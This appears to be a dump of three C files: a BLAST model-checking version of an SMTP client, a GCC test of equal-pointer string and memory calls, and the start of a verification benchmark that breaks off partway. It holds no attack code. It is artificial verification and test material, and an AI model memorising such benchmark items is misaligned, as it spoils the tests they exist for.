if (*EXCEPTION != EXC_NO)
goto CATCH_ehlo;
if (__BLAST_NONDET) { //response.isERR()) {
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response.getMessage());
goto CATCH_ehlo;
}
if (__BLAST_NONDET) { //response.isHasSuccessor()) {
//response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_ehlo;
while (__BLAST_NONDET) { //response.isHasSuccessor() && response.isOK()) {
//capas.add(response.getMessage());
// response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_ehlo;
}
//capas.add(response.getMessage());
}
return; // (String[]) capas.toArray(new String[] {});
//} catch (SocketException e) {
CATCH_ehlo:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; //throw e;
else {
*EXCEPTION = EXC_NO;
return; // new String[0];
}
}
//}
}
boolean spre_helo() {
return state >= PLAIN;
}
/**
* Sends the HELO command to the SMTP server. Needed only for non ESMTP
* servers. Use #ehlo(InetAddress) instead.
*
* @see #ehlo(InetAddress)
*
* @param domain
* @throws IOException
* @throws SMTPException
*/
//public
void helo(exception* EXCEPTION) { //InetAddress domain) throws IOException, SMTPException {
//ensureState(PLAIN);
//try {
//String ipaddress = domain.getHostAddress();
*EXCEPTION = EXC_NO;
sendCommand("HELO", EXCEPTION); //new String[] { "[" + ipaddress + "]" });
if (*EXCEPTION != EXC_NO)
goto CATCH_helo;
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_helo;
if (__BLAST_NONDET) { //response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response);
goto CATCH_helo;
}
return;
//} catch (SocketException e) {
CATCH_helo:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; //throw e;
else {
*EXCEPTION = EXC_NO;
return;
}
}
//}
}
boolean spre_auth() {
return state >= PLAIN;
}
/**
* Authenticates a user. This is done with the Authentication mechanisms
* provided by the
* @param algorithm
*
* @link{org.columba.ristretto.auth.AuthenticationFactory}. @param
* algorithm the
* algorithm used
* to authenticate
* the user (e.g.
* PLAIN,
* DIGEST-MD5)
* @param user
* the user name
* @param password
* the password
* @throws IOException
* @throws SMTPException
* @throws AuthenticationException
*/
//public
void auth(exception* EXCEPTION) { // String algorithm, String user, char[] password) throws IOException, SMTPException, AuthenticationException {
//ensureState(PLAIN);
//try {
//try {
//AuthenticationMechanism auth = AuthenticationFactory.getInstance().getAuthentication(algorithm);
if (__BLAST_NONDET) {
*EXCEPTION = EXC_NOSUCHAUTH;
goto CATCH1_auth;
}
*EXCEPTION = EXC_NO;
sendCommand("AUTH", EXCEPTION); //, new String[] { algorithm });
if (*EXCEPTION != EXC_NO)
goto CATCH1_auth;
//auth.authenticate(this, user, password);
if (__BLAST_NONDET) {
if (__BLAST_NONDET)
*EXCEPTION = EXC_IO;
else
*EXCEPTION = EXC_AUTH;
goto CATCH1_auth;
}
goto NOCATCH1_auth;
// } catch (NoSuchAuthenticationException e) {
CATCH1_auth:
if (*EXCEPTION == EXC_NOSUCHAUTH) {
*EXCEPTION = EXC_SMTP; //throw new SMTPException(e);
}
goto CATCH2_auth;
// }
NOCATCH1_auth:
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH2_auth;
if (__BLAST_NONDET) { // response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response);
goto CATCH2_auth;
}
state = AUTHORIZED;
return;
// } catch (SocketException e) {
CATCH2_auth:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; // throw e;
else {
*EXCEPTION = EXC_NO;
return;
}
}
// }
}
boolean spre_mail() {
return state >= PLAIN;
}
/**
* Sends a MAIL command which specifies the sender's email address and
* starts a new mail.
*
* @see #rcpt(Address)
* @see #data(InputStream)
*
* @param from
* the email address of the sender
* @throws IOException
* @throws SMTPException
*/
//public
void mail(exception* EXCEPTION) { // Address from) throws IOException, SMTPException {
//ensureState(PLAIN);
//try {
*EXCEPTION = EXC_NO;
sendCommand("MAIL", EXCEPTION); // , new String[] { "FROM:" + from.getCanonicalMailAddress() });
if (*EXCEPTION != EXC_NO)
goto CATCH_mail;
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_mail;
if (__BLAST_NONDET) { // response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response);
goto CATCH_mail;
}
return;
//} catch (SocketException e) {
CATCH_mail:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; // throw e;
else {
*EXCEPTION = EXC_NO;
return;
}
//}
}
}
/**
* Sends a RCPT TO: command which specifies a recipient of the mail started
* by the MAIL command. This command can be called repeatedly to add more
* recipients.
*
* @see #mail(Address)
* @see #data(InputStream)
*
* @param address
* the email address of a recipient.
* @throws IOException
* @throws SMTPException
*/
//public
void rcpt(exception* EXCEPTION) { //Address address) throws IOException, SMTPException {
//try {
*EXCEPTION = EXC_NO;
sendCommand("RCPT", EXCEPTION); //, new String[] { "TO:" + address.getCanonicalMailAddress() });
if (*EXCEPTION != EXC_NO)
goto CATCH_rcpt;
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_rcpt;
if (__BLAST_NONDET) { // response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response);
goto CATCH_rcpt;
}
return;
//} catch (SocketException e) {
CATCH_rcpt:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; //throw e;
else {
*EXCEPTION = EXC_NO;
return;
}
}
//}
}
/**
* Sends a RCPT command which specifies a recipient of the mail started by
* the MAIL command. This command can be called repeatedly to add more
* recipients. You can pass the type parameter to either send a RCPT TO or
* CC.
* @param type
*
* @see #mail(Address)
* @see #data(InputStream)
* @see #TO
* @see #CC
*
* @param address
* the email address of a recipient.
* @throws IOException
* @throws SMTPException
*/
/* public void rcpt(int type, Address address) throws IOException,
SMTPException {
try {
switch (type) {
case TO: {
sendCommand("RCPT", new String[] { "TO:"
+ address.getCanonicalMailAddress() });
break;
}
case CC: {
sendCommand("RCPT", new String[] { "CC:"
+ address.getCanonicalMailAddress() });
break;
}
}
SMTPResponse response = readSingleLineResponse();
if (response.isERR())
throw new SMTPException(response);
} catch (SocketException e) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
throw e;
}
}*/
boolean spre_data() {
return state >= PLAIN;
}
/**
* Sends a DATA command which sends the mail to the recipients specified by
* the RCPT command. Can be cancelled with #dropConnection().
*
* @see #mail(Address)
* @see #rcpt(Address)
*
* @param data
* the mail
* @throws IOException
* @throws SMTPException
*/
//public
void data(exception* EXCEPTION) { //InputStream data) throws IOException, SMTPException {
//ensureState(PLAIN);
//try {
*EXCEPTION = EXC_NO;
sendCommand("DATA", EXCEPTION ); //, null);
if (*EXCEPTION != EXC_NO)
goto CATCH1_data;
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH1_data;
if (__BLAST_NONDET) { //response.getCode() == 354) {
//try {
//copyStream(new StopWordSafeInputStream(data), out);
//out.write(STOPWORD);
//out.flush();
if (__BLAST_NONDET) {
*EXCEPTION = EXC_IO;
goto CATCH2_data;
}
goto NOCATCH2_data;
//} catch (IOException e) {
CATCH2_data:
if (*EXCEPTION == EXC_IO) {
state = NOT_CONNECTED;
//throw e;
}
goto CATCH1_data;
//}
} else {
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response);
goto CATCH1_data;
}
NOCATCH2_data:
//response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH1_data;
if (__BLAST_NONDET) { //response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response);
goto CATCH1_data;
}
return;
//} catch (SocketException e) {
CATCH1_data:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; //throw e;
else {
*EXCEPTION = EXC_NO;
return;
}
//}
}
}
/**
* Sends the QUIT command and closes the socket.
*
* @throws IOException
* @throws SMTPException
*/
//public
void quit(exception* EXCEPTION) { //throws IOException, SMTPException {
//try {
*EXCEPTION = EXC_NO;
sendCommand("QUIT", EXCEPTION); // null);
if (*EXCEPTION != EXC_NO)
goto CATCH_quit;
/*socket.close();
in = null;
out = null;
socket = null;*/
state = NOT_CONNECTED;
return;
//} catch (SocketException e) {
CATCH_quit:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; //throw e;
else {
*EXCEPTION = EXC_NO;
return;
}
}
//}
}
/**
* Sends a RSET command which resets the current session.
*
* @throws IOException
* @throws SMTPException
*/
//public
void reset(exception* EXCEPTION) { //throws IOException, SMTPException {
//try {
*EXCEPTION = EXC_NO;
sendCommand("RSET", EXCEPTION); //, null);
if (*EXCEPTION != EXC_NO)
goto CATCH_reset;
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_reset;
if (__BLAST_NONDET) { //response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response);
goto CATCH_reset;
}
return;
//} catch (SocketException e) {
CATCH_reset:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; //throw e;
else {
*EXCEPTION = EXC_NO;
return;
}
}
//}
}
/**
* Sends a VRFY command which verifies the given email address.
*
* @param address
* email address to verify
* @throws IOException
* @throws SMTPException
*/
//public
void verify(exception* EXCEPTION) { //String address) throws IOException, SMTPException {
//try {
*EXCEPTION = EXC_NO;
sendCommand("VRFY", EXCEPTION); //, new String[] { address });
if (*EXCEPTION != EXC_NO)
goto CATCH_verify;
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_verify;
if (__BLAST_NONDET) { //response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response);
goto CATCH_verify;
}
return;
//} catch (SocketException e) {
CATCH_verify:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; // throw e;
else {
*EXCEPTION = EXC_NO;
return;
}
}
//}
}
boolean spre_expand() {
return state >= PLAIN;
}
/**
* Expands a given mailinglist address to all members of that list.
*
* @param mailinglist
* the mailinglist address
* @return the members of the mailinglist
* @throws IOException
* @throws SMTPException
*/
//public Address[]
void expand(exception* EXCEPTION) { // Address mailinglist) throws IOException, SMTPException {
// ensureState(PLAIN);
//try {
//LinkedList addresses = new LinkedList();
*EXCEPTION = EXC_NO;
sendCommand("VRFY", EXCEPTION); //, new String[] { mailinglist.getCanonicalMailAddress() });
if (*EXCEPTION != EXC_NO)
goto CATCH1_expand;
// First response should be the greeting or a EHLO not supported
//SMTPResponse response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH1_expand;
if (__BLAST_NONDET) { // response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response);
goto CATCH1_expand;
}
if (__BLAST_NONDET) { //response.isHasSuccessor()) {
//response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH1_expand;
while (__BLAST_NONDET) { //response.isHasSuccessor() && response.isOK()) {
//try {
//addresses.add(AddressParser.parseAddress(response.getMessage()));
if (__BLAST_NONDET) {
*EXCEPTION = EXC_PARSER;
goto CATCH2_expand;
}
goto NOCATCH2_expand;
//} catch (ParserException e) {
CATCH2_expand:
if (*EXCEPTION == EXC_PARSER) {
//LOG.severe(e.getLocalizedMessage());
goto NOCATCH2_expand;
} else {
goto CATCH1_expand;
}
NOCATCH2_expand:
//}
//response =
*EXCEPTION = EXC_NO;
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH1_expand;
}
//try {
//addresses.add(AddressParser.parseAddress(response.getMessage()));
if (__BLAST_NONDET) {
*EXCEPTION = EXC_PARSER;
goto CATCH3_expand;
}
goto NOCATCH3_expand;
//} catch (ParserException e) {
CATCH3_expand:
if (*EXCEPTION == EXC_PARSER) {
// LOG.severe(e.getMessage());
goto NOCATCH3_expand;
} else {
goto CATCH1_expand;
}
//}
NOCATCH3_expand:
;
}
return; // (Address[]) addresses.toArray(new Address[] {});
CATCH1_expand:
if (*EXCEPTION == EXC_SOCKET) {
//} catch (SocketException e) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED) {
return; //throw e;
} else {
*EXCEPTION = EXC_NO;
return; //new Address[0];
}
//}
}
}
boolean spre_noop() {
return state >= PLAIN;
}
/**
* Sends a NOOP command to the server.
*
* @throws IOException
* @throws SMTPException
*/
//public
void noop(exception* EXCEPTION) { // throws IOException, SMTPException {
//ensureState(PLAIN);
//try {
*EXCEPTION = EXC_NO;
sendCommand("NOOP", EXCEPTION); //, null);
if (*EXCEPTION != EXC_NO)
goto CATCH_noop;
//SMTPResponse response =
readSingleLineResponse(EXCEPTION);
if (*EXCEPTION != EXC_NO)
goto CATCH_noop;
if (__BLAST_NONDET) { //response.isERR())
*EXCEPTION = EXC_SMTP; //throw new SMTPException(response.getMessage());
goto CATCH_noop;
}
return;
//} catch (SocketException e) {
CATCH_noop:
if (*EXCEPTION == EXC_SOCKET) {
// Catch the exception if it was caused by
// dropping the connection
if (state != NOT_CONNECTED)
return; //throw e;
else {
*EXCEPTION = EXC_NO;
return;
}
}
//}
}
/**
* @see org.columba.ristretto.auth.AuthenticationServer#authReceive()
*/
//public byte[]
void authReceive(exception* EXCEPTION) { //throws AuthenticationException, IOException {
//try {
//SMTPResponse response = in.readSingleLineResponse();
if (__BLAST_NONDET) {
if (__BLAST_NONDET)
*EXCEPTION = EXC_SMTP;
else
*EXCEPTION = EXC_IO;
goto CATCH_authReceive;
}
if (__BLAST_NONDET) { //response.isOK()) {
/*if (response.getMessage() != null) {
return Base64.decodeToArray(response.getMessage());
} else {
return new byte[0];
}*/
return;
} else {
*EXCEPTION = EXC_AUTH; // throw new AuthenticationException(new SMTPException(response));
goto CATCH_authReceive;
}
return;
// } catch (SMTPException e) {
CATCH_authReceive:
if (*EXCEPTION == EXC_SMTP) {
*EXCEPTION = EXC_AUTH; // throw new AuthenticationException(e);
return;
}
// }
}
/**
* @see org.columba.ristretto.auth.AuthenticationServer#authSend(byte[])
*/
//public
void authSend(exception* EXCEPTION) { //byte[] call) throws IOException {
sendCommand("", EXCEPTION); // Base64.encode(ByteBuffer.wrap(call), false).toString(), null);
}
/**
* @return Returns the state.
*/
/*public int getState() {
return state;
}*/
/**
* @see org.columba.ristretto.auth.AuthenticationServer#getHostName()
*/
/*public String getHostName() {
return host;
}*/
/**
* @see org.columba.ristretto.auth.AuthenticationServer#getService()
*/
/*public String getService() {
return "smtp";
}*/
/**
* Drops the connection.
*
* @throws IOException
*
*/
//public
void dropConnection(exception* EXCEPTION) { //throws IOException {
if (state != NOT_CONNECTED) {
state = NOT_CONNECTED;
/*socket.close();
in = null;
out = null;
socket = null;*/
if (__BLAST_NONDET) {
*EXCEPTION = EXC_SMTP;
goto CATCH_dropConnection;
}
}
return;
CATCH_dropConnection:
return;
}
/******************************************/
/*********** Private methods ************/
/******************************************/
/* private void createStreams() throws IOException {
if (RistrettoLogger.logStream != null) {
in = new SMTPInputStream(new LogInputStream(
socket.getInputStream(), RistrettoLogger.logStream));
out = new LogOutputStream(socket.getOutputStream(),
RistrettoLogger.logStream);
} else {
in = new SMTPInputStream(socket.getInputStream());
out = socket.getOutputStream();
}
}
*/
//protected
void sendCommand(char* command, exception* EXCEPTION) { //, String[] parameters)
//throws IOException {
// try {
// write the command
//out.write(command.getBytes());
// write optional parameters
/*if (parameters != null) {
for (int i = 0; i < parameters.length; i++) {
out.write(' ');
out.write(parameters[i].getBytes());
}
}*/
// write CRLF
//out.write('\r');
//out.write('\n');
// flush the stream
//out.flush();
if (__BLAST_NONDET) {
*EXCEPTION = EXC_IO;
goto CATCH_sendCommand;
}
return;
// } catch (IOException e) {
CATCH_sendCommand:
if (*EXCEPTION == EXC_IO) {
state = NOT_CONNECTED;
return; //throw e;
}
// }
}
/* private void copyStream(InputStream in, OutputStream out)
throws IOException {
byte[] buffer = new byte[10240];
int copied = 0;
int read;
read = in.read(buffer);
while (read != -1) {
out.write(buffer, 0, read);
copied += read;
read = in.read(buffer);
}
}*/
/*private void ensureState(int s) throws SMTPException {
if (state < s)
throw new SMTPException("Wrong state!");
}*/
//protected SMTPResponse
void readSingleLineResponse(exception* EXCEPTION) { // throws IOException, SMTPException{
//try {
//return in.readSingleLineResponse();
if (__BLAST_NONDET) {
if (__BLAST_NONDET)
*EXCEPTION = EXC_SMTP;
else
*EXCEPTION = EXC_IO;
goto CATCH_readSingleLineResponse;
}
return;
//} catch (IOException e) {
CATCH_readSingleLineResponse:
if (*EXCEPTION == EXC_IO) {
state = NOT_CONNECTED;
//throw e;
}
//}
}
|
the_stack_data/62978.c | /* Copyright (C) 2003 Free Software Foundation.
Test equal pointer optimizations don't break anything.
Written by Roger Sayle, July 14, 2003. */
extern void abort ();
typedef __SIZE_TYPE__ size_t;
extern void *memcpy (void *, const void *, size_t);
extern void *mempcpy (void *, const void *, size_t);
extern void *memmove (void *, const void *, size_t);
extern char *strcpy (char *, const char *);
extern int memcmp (const void *, const void *, size_t);
extern int strcmp (const char *, const char *);
extern int strncmp (const char *, const char *, size_t);
void test1 (void *ptr) {
if (memcpy (ptr, ptr, 8) != ptr) abort ();
}
void test2 (char *ptr) {
#if !defined(__APPLE__) && !defined(_WIN32)
if (mempcpy (ptr, ptr, 8) != ptr + 8) abort ();
#endif
}
void test3 (void *ptr) {
if (memmove (ptr, ptr, 8) != ptr) abort ();
}
void test4 (char *ptr) {
if (strcpy (ptr, ptr) != ptr) abort ();
}
void test5 (void *ptr) {
if (memcmp (ptr, ptr, 8) != 0) abort ();
}
void test6 (const char *ptr) {
if (strcmp (ptr, ptr) != 0) abort ();
}
void test7 (const char *ptr) {
if (strncmp (ptr, ptr, 8) != 0) abort ();
}
int main () {
char buf[10];
test1 (buf);
test2 (buf);
test3 (buf);
test4 (buf);
test5 (buf);
test6 (buf);
test7 (buf);
return 0;
}
|
the_stack_data/124245.c | extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
float _diverge_delta, _x__diverge_delta;
float delta, _x_delta;
float proposed17, _x_proposed17;
float p5_c, _x_p5_c;
float max_prop, _x_max_prop;
float proposed16, _x_proposed16;
bool p16_l1, _x_p16_l1;
float proposed15, _x_proposed15;
bool p16_l0, _x_p16_l0;
float proposed14, _x_proposed14;
bool p16_l2, _x_p16_l2;
float proposed13, _x_proposed13;
float proposed12, _x_proposed12;
bool p16_l3, _x_p16_l3;
float proposed11, _x_proposed11;
float proposed10, _x_proposed10;
float proposed9, _x_proposed9;
float proposed8, _x_proposed8;
float proposed7, _x_proposed7;
float proposed6, _x_proposed6;
float proposed5, _x_proposed5;
bool p6_l1, _x_p6_l1;
float p16_c, _x_p16_c;
float proposed4, _x_proposed4;
bool p6_l0, _x_p6_l0;
float proposed3, _x_proposed3;
bool p6_l2, _x_p6_l2;
float proposed2, _x_proposed2;
float proposed1, _x_proposed1;
bool p6_l3, _x_p6_l3;
float proposed0, _x_proposed0;
float p6_c, _x_p6_c;
bool p17_l1, _x_p17_l1;
bool p17_l0, _x_p17_l0;
bool p17_l2, _x_p17_l2;
bool p17_l3, _x_p17_l3;
bool p7_l1, _x_p7_l1;
float p17_c, _x_p17_c;
bool p7_l0, _x_p7_l0;
bool p7_l2, _x_p7_l2;
bool p7_l3, _x_p7_l3;
float p7_c, _x_p7_c;
bool _J4647, _x__J4647;
bool _J4641, _x__J4641;
bool _J4635, _x__J4635;
bool _J4629, _x__J4629;
bool _EL_U_4602, _x__EL_U_4602;
bool _EL_U_4604, _x__EL_U_4604;
bool _EL_U_4607, _x__EL_U_4607;
bool _EL_U_4609, _x__EL_U_4609;
bool p8_l1, _x_p8_l1;
bool p8_l0, _x_p8_l0;
bool p8_l2, _x_p8_l2;
bool p8_l3, _x_p8_l3;
float p8_c, _x_p8_c;
bool p1_evt, _x_p1_evt;
int v1, _x_v1;
bool p0_evt, _x_p0_evt;
bool p2_evt, _x_p2_evt;
bool p3_evt, _x_p3_evt;
bool p4_evt, _x_p4_evt;
bool p5_evt, _x_p5_evt;
bool p6_evt, _x_p6_evt;
bool p7_evt, _x_p7_evt;
bool p8_evt, _x_p8_evt;
bool p9_l1, _x_p9_l1;
bool p9_l0, _x_p9_l0;
bool p9_evt, _x_p9_evt;
bool p9_l2, _x_p9_l2;
bool p10_evt, _x_p10_evt;
bool p9_l3, _x_p9_l3;
bool p11_evt, _x_p11_evt;
bool p12_evt, _x_p12_evt;
bool p13_evt, _x_p13_evt;
bool p14_evt, _x_p14_evt;
bool p15_evt, _x_p15_evt;
float p9_c, _x_p9_c;
bool p16_evt, _x_p16_evt;
bool p17_evt, _x_p17_evt;
bool inc_max_prop, _x_inc_max_prop;
bool v2, _x_v2;
bool p10_l1, _x_p10_l1;
bool p10_l0, _x_p10_l0;
bool p10_l2, _x_p10_l2;
bool p10_l3, _x_p10_l3;
bool p0_l1, _x_p0_l1;
float p10_c, _x_p10_c;
bool p0_l0, _x_p0_l0;
bool p0_l2, _x_p0_l2;
bool p0_l3, _x_p0_l3;
float p0_c, _x_p0_c;
bool p11_l1, _x_p11_l1;
bool p11_l0, _x_p11_l0;
bool p11_l2, _x_p11_l2;
bool p11_l3, _x_p11_l3;
bool p1_l1, _x_p1_l1;
float p11_c, _x_p11_c;
bool p1_l0, _x_p1_l0;
bool p1_l2, _x_p1_l2;
bool p1_l3, _x_p1_l3;
float p1_c, _x_p1_c;
bool p12_l1, _x_p12_l1;
bool p12_l0, _x_p12_l0;
bool p12_l2, _x_p12_l2;
bool p12_l3, _x_p12_l3;
bool p2_l1, _x_p2_l1;
float p12_c, _x_p12_c;
bool p2_l0, _x_p2_l0;
bool p2_l2, _x_p2_l2;
bool p2_l3, _x_p2_l3;
float p2_c, _x_p2_c;
bool p13_l1, _x_p13_l1;
bool p13_l0, _x_p13_l0;
bool p13_l2, _x_p13_l2;
bool p13_l3, _x_p13_l3;
bool p3_l1, _x_p3_l1;
float p13_c, _x_p13_c;
bool p3_l0, _x_p3_l0;
bool p3_l2, _x_p3_l2;
bool p3_l3, _x_p3_l3;
float p3_c, _x_p3_c;
bool p14_l1, _x_p14_l1;
bool p14_l0, _x_p14_l0;
bool p14_l2, _x_p14_l2;
bool p14_l3, _x_p14_l3;
bool p4_l1, _x_p4_l1;
float p14_c, _x_p14_c;
bool p4_l0, _x_p4_l0;
bool p4_l2, _x_p4_l2;
bool p4_l3, _x_p4_l3;
float p4_c, _x_p4_c;
bool p15_l1, _x_p15_l1;
bool p15_l0, _x_p15_l0;
bool p15_l2, _x_p15_l2;
bool p15_l3, _x_p15_l3;
bool p5_l1, _x_p5_l1;
float p15_c, _x_p15_c;
bool p5_l0, _x_p5_l0;
bool p5_l2, _x_p5_l2;
bool p5_l3, _x_p5_l3;
int __steps_to_fair = __VERIFIER_nondet_int();
_diverge_delta = __VERIFIER_nondet_float();
delta = __VERIFIER_nondet_float();
proposed17 = __VERIFIER_nondet_float();
p5_c = __VERIFIER_nondet_float();
max_prop = __VERIFIER_nondet_float();
proposed16 = __VERIFIER_nondet_float();
p16_l1 = __VERIFIER_nondet_bool();
proposed15 = __VERIFIER_nondet_float();
p16_l0 = __VERIFIER_nondet_bool();
proposed14 = __VERIFIER_nondet_float();
p16_l2 = __VERIFIER_nondet_bool();
proposed13 = __VERIFIER_nondet_float();
proposed12 = __VERIFIER_nondet_float();
p16_l3 = __VERIFIER_nondet_bool();
proposed11 = __VERIFIER_nondet_float();
proposed10 = __VERIFIER_nondet_float();
proposed9 = __VERIFIER_nondet_float();
proposed8 = __VERIFIER_nondet_float();
proposed7 = __VERIFIER_nondet_float();
proposed6 = __VERIFIER_nondet_float();
proposed5 = __VERIFIER_nondet_float();
p6_l1 = __VERIFIER_nondet_bool();
p16_c = __VERIFIER_nondet_float();
proposed4 = __VERIFIER_nondet_float();
p6_l0 = __VERIFIER_nondet_bool();
proposed3 = __VERIFIER_nondet_float();
p6_l2 = __VERIFIER_nondet_bool();
proposed2 = __VERIFIER_nondet_float();
proposed1 = __VERIFIER_nondet_float();
p6_l3 = __VERIFIER_nondet_bool();
proposed0 = __VERIFIER_nondet_float();
p6_c = __VERIFIER_nondet_float();
p17_l1 = __VERIFIER_nondet_bool();
p17_l0 = __VERIFIER_nondet_bool();
p17_l2 = __VERIFIER_nondet_bool();
p17_l3 = __VERIFIER_nondet_bool();
p7_l1 = __VERIFIER_nondet_bool();
p17_c = __VERIFIER_nondet_float();
p7_l0 = __VERIFIER_nondet_bool();
p7_l2 = __VERIFIER_nondet_bool();
p7_l3 = __VERIFIER_nondet_bool();
p7_c = __VERIFIER_nondet_float();
_J4647 = __VERIFIER_nondet_bool();
_J4641 = __VERIFIER_nondet_bool();
_J4635 = __VERIFIER_nondet_bool();
_J4629 = __VERIFIER_nondet_bool();
_EL_U_4602 = __VERIFIER_nondet_bool();
_EL_U_4604 = __VERIFIER_nondet_bool();
_EL_U_4607 = __VERIFIER_nondet_bool();
_EL_U_4609 = __VERIFIER_nondet_bool();
p8_l1 = __VERIFIER_nondet_bool();
p8_l0 = __VERIFIER_nondet_bool();
p8_l2 = __VERIFIER_nondet_bool();
p8_l3 = __VERIFIER_nondet_bool();
p8_c = __VERIFIER_nondet_float();
p1_evt = __VERIFIER_nondet_bool();
v1 = __VERIFIER_nondet_int();
p0_evt = __VERIFIER_nondet_bool();
p2_evt = __VERIFIER_nondet_bool();
p3_evt = __VERIFIER_nondet_bool();
p4_evt = __VERIFIER_nondet_bool();
p5_evt = __VERIFIER_nondet_bool();
p6_evt = __VERIFIER_nondet_bool();
p7_evt = __VERIFIER_nondet_bool();
p8_evt = __VERIFIER_nondet_bool();
p9_l1 = __VERIFIER_nondet_bool();
p9_l0 = __VERIFIER_nondet_bool();
p9_evt = __VERIFIER_nondet_bool();
p9_l2 = __VERIFIER_nondet_bool();
p10_evt = __VERIFIER_nondet_bool();
p9_l3 = __VERIFIER_nondet_bool();
p11_evt = __VERIFIER_nondet_bool();
p12_evt = __VERIFIER_nondet_bool();
p13_evt = __VERIFIER_nondet_bool();
p14_evt = __VERIFIER_nondet_bool();
p15_evt = __VERIFIER_nondet_bool();
p9_c = __VERIFIER_nondet_float();
p16_evt = __VERIFIER_nondet_bool();
p17_evt = __VERIFIER_nondet_bool();
inc_max_prop = __VERIFIER_nondet_bool();
v2 = __VERIFIER_nondet_bool();
p10_l1 = __VERIFIER_nondet_bool();
p10_l0 = __VERIFIER_nondet_bool();
p10_l2 = __VERIFIER_nondet_bool();
p10_l3 = __VERIFIER_nondet_bool();
p0_l1 = __VERIFIER_nondet_bool();
p10_c = __VERIFIER_nondet_float();
p0_l0 = __VERIFIER_nondet_bool();
p0_l2 = __VERIFIER_nondet_bool();
p0_l3 = __VERIFIER_nondet_bool();
p0_c = __VERIFIER_nondet_float();
p11_l1 = __VERIFIER_nondet_bool();
p11_l0 = __VERIFIER_nondet_bool();
p11_l2 = __VERIFIER_nondet_bool();
p11_l3 = __VERIFIER_nondet_bool();
p1_l1 = __VERIFIER_nondet_bool();
p11_c = __VERIFIER_nondet_float();
p1_l0 = __VERIFIER_nondet_bool();
p1_l2 = __VERIFIER_nondet_bool();
p1_l3 = __VERIFIER_nondet_bool();
p1_c = __VERIFIER_nondet_float();
p12_l1 = __VERIFIER_nondet_bool();
p12_l0 = __VERIFIER_nondet_bool();
p12_l2 = __VERIFIER_nondet_bool();
p12_l3 = __VERIFIER_nondet_bool();
p2_l1 = __VERIFIER_nondet_bool();
p12_c = __VERIFIER_nondet_float();
p2_l0 = __VERIFIER_nondet_bool();
p2_l2 = __VERIFIER_nondet_bool();
p2_l3 = __VERIFIER_nondet_bool();
p2_c = __VERIFIER_nondet_float();
p13_l1 = __VERIFIER_nondet_bool();
p13_l0 = __VERIFIER_nondet_bool();
p13_l2 = __VERIFIER_nondet_bool();
p13_l3 = __VERIFIER_nondet_bool();
p3_l1 = __VERIFIER_nondet_bool();
p13_c = __VERIFIER_nondet_float();
p3_l0 = __VERIFIER_nondet_bool();
p3_l2 = __VERIFIER_nondet_bool();
p3_l3 = __VERIFIER_nondet_bool();
p3_c = __VERIFIER_nondet_float();
p14_l1 = __VERIFIER_nondet_bool();
p14_l0 = __VERIFIER_nondet_bool();
p14_l2 = __VERIFIER_nondet_bool();
p14_l3 = __VERIFIER_nondet_bool();
p4_l1 = __VERIFIER_nondet_bool();
p14_c = __VERIFIER_nondet_float();
